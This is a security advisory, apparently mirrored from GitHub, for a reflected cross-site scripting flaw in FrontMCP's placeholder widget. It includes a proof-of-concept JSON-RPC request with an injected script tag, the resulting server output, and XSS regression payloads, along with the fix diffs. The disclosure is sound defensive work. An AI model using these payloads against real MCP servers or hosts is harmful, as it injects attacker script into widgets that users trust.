# GHSA-XP6R-GGXC-J7Q8: Reflected XSS in FrontMCP placeholder widgets via crafted resources/read URI

- Database: GitHub
- Severity: CVSS 4.7 (Medium)
- Published: 2026-09-26
- Modified: 2026-09-26

## Affected versions

- @frontmcp/uipack (npm): from 1.0.0, through 1.7.2

## Description

### Summary

FrontMCP reflects an attacker-controlled tool name from a `resources/read` widget URI into generated MCP widget HTML without HTML escaping.

The SDK accepts widget URIs using:

```ts
const match = uri.match(
  /^ui:\/\/widget\/([^.]+)\.(\w+)$/
);
```

The `[^.]+` capture accepts HTML markup such as `<script>...</script>` as the tool name.

When no static widget exists for the parsed name, FrontMCP falls back to the placeholder widget generated by `@frontmcp/uipack`. The placeholder interpolates the parsed value directly into HTML:

```ts
<p style="color:#9ca3af;font-size:0.75rem;">
  Tool: <code>${toolName}</code>
</p>
```

A crafted URI such as:

```text
ui://widget/<script>window["__frontmcp_xss"]=42</script>.html
```

therefore causes the server to return a `text/html;profile=mcp-app` resource containing the injected `<script>` element verbatim.

This was reproduced end-to-end over HTTP against released `@frontmcp/sdk@1.7.2` and `@frontmcp/uipack@1.7.2`.

The exact HTML returned by the server was executed in an HTML execution environment and set:

```text
window.__frontmcp_xss = 42
```

The generated widget CSP also includes `'unsafe-inline'`, so the injected inline script is permitted by the document's own policy.

### Details

The attacker-controlled source is the URI parameter of an MCP `resources/read` request:

```json
{
  "method": "resources/read",
  "params": {
    "uri": "ui://widget/<payload>.html"
  }
}
```

The widget URI parser extracts the tool name using:

```ts
/^ui:\/\/widget\/([^.]+)\.(\w+)$/
```

This performs no identifier validation or HTML escaping.

For example:

```text
ui://widget/<script>window["__frontmcp_xss"]=42</script>.html
```

is parsed with:

```text
toolName =
<script>window["__frontmcp_xss"]=42</script>
```

The resource handler then attempts to retrieve a pre-generated widget for that name.

For an unknown name, execution reaches the built-in placeholder path:

```text
resources/read
  -> parseWidgetUri()
  -> attacker-controlled toolName
  -> static widget lookup misses
  -> generatePlaceholderWidget(toolName)
  -> createDefaultBaseTemplate({ toolName })
  -> raw interpolation into HTML
```

The affected placeholder body contains:

```html
Tool: <code>${toolName}</code>
```

without escaping.

Consequently the generated response contains:

```html
Tool: <code><script>window["__frontmcp_xss"]=42</script></code>
```

The same generated document correctly escapes this value in its `<title>`, demonstrating inconsistent output encoding:

```html
<title>
Widget: &lt;script&gt;window["__frontmcp_xss"]=42&lt;/script&gt;
</title>
```

while the body still contains the raw executable element.

The returned document is explicitly identified as:

```text
text/html;profile=mcp-app
```

and its generated CSP contains an inline-script allowance:

```text
script-src 'self' 'unsafe-inline' ...
```

The injected inline script is therefore not blocked by the widget's own CSP.

This issue is distinct from tool-output rendering XSS because the malicious input originates directly from the `resources/read` URI and reaches a different rendering sink.

### PoC

Install the released packages:

```bash
npm install \
  @frontmcp/sdk@1.7.2 \
  @frontmcp/uipack@1.7.2
```

Start a normal FrontMCP server with an ordinary tool. No custom widget configuration is necessary.

Initialize an MCP session and send the following request:

```json
{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "resources/read",
  "params": {
    "uri": "ui://widget/<script>window[\"__frontmcp_xss\"]=42</script>.html"
  }
}
```

The server responds successfully:

```text
HTTP 200
mimeType = text/html;profile=mcp-app
```

The returned HTML contains the payload verbatim:

```html
Tool: <code><script>window["__frontmcp_xss"]=42</script></code>
```

The response also contains the escaped version in the title:

```html
<title>
Widget: &lt;script&gt;window["__frontmcp_xss"]=42&lt;/script&gt;
</title>
```

and the generated CSP includes:

```text
script-src 'self' 'unsafe-inline' ...
```

Executing the exact HTML returned by the server produced:

```text
window.__frontmcp_xss = 42
```

A benign control request:

```json
{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "resources/read",
  "params": {
    "uri": "ui://widget/ping.html"
  }
}
```

returns the expected placeholder:

```html
Tool: <code>ping</code>
```

with no injected script.

The reproduced behavior is therefore:

```text
ATTACK

resources/read
ui://widget/<script>window["__frontmcp_xss"]=42</script>.html

-> HTTP 200
-> text/html;profile=mcp-app
-> raw attacker-controlled <script> returned
-> exact returned HTML executes the script


CONTROL

resources/read
ui://widget/ping.html

-> HTTP 200
-> normal placeholder
-> no injected script
```

The server-side source-to-sink path and executable returned widget HTML are confirmed.

The current PoC does not yet demonstrate an independent victim MCP host being induced by a separate attacker to request and automatically render the crafted `ui://widget/...` URI. This delivery prerequisite should be considered when evaluating exploitability and severity.

### Suggested fix

HTML-escape the tool name before inserting it into the placeholder document.

For example:

```diff
--- a/libs/uipack/src/adapters/base-template.ts
+++ b/libs/uipack/src/adapters/base-template.ts
@@
-<p style="color:#9ca3af;font-size:0.75rem;">
-  Tool: <code>${toolName}</code>
-</p>
+<p style="color:#9ca3af;font-size:0.75rem;">
+  Tool: <code>${escapeHtml(toolName)}</code>
+</p>
```

The SDK should additionally restrict widget URIs to valid tool-name characters.

For example:

```diff
-const match = uri.match(
-  /^ui:\/\/widget\/([^.]+)\.(\w+)$/
-);
+const match = uri.match(
+  /^ui:\/\/widget\/([A-Za-z0-9_-]+)\.(html|js)$/
+);
```

Both protections should be applied:

1. HTML escaping prevents injection at the rendering sink.
2. Strict identifier validation prevents markup from reaching the widget generator.

Regression tests should include payloads such as:

```text
ui://widget/<script>alert(1)</script>.html
```

and:

```text
ui://widget/<img src=x onerror=alert(1)>.html
```

and verify that no executable DOM elements are generated.

As defense in depth, removing `'unsafe-inline'` from the default widget CSP would reduce the impact of future HTML-injection vulnerabilities.

### Impact

A client-controlled `resources/read` URI can cause FrontMCP to generate and return an MCP widget containing attacker-controlled executable JavaScript.

The response is served as:

```text
text/html;profile=mcp-app
```

and includes the normal FrontMCP widget runtime together with a CSP that permits inline scripts.

The confirmed impact is an executable HTML/script injection primitive in the server-generated MCP widget document.

If an attacker can induce a compatible victim MCP host to request and render the crafted widget URI, the injected JavaScript would execute in that widget's rendering context.

Potential consequences then depend on the consuming host's widget isolation and bridge permissions and may include manipulation or impersonation of trusted widget UI and access to information or capabilities exposed to the widget context.

The current proof confirms the vulnerable server response and script execution from the exact returned HTML. It does not yet establish the independent victim-host delivery step, so downstream host/session impact should not be assumed beyond what the consuming host permits.

## References

- https://github.com/agentfront/frontmcp/security/advisories/GHSA-xp6r-ggxc-j7q8

Page: https://cve.now/GHSA-XP6R-GGXC-J7Q8

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
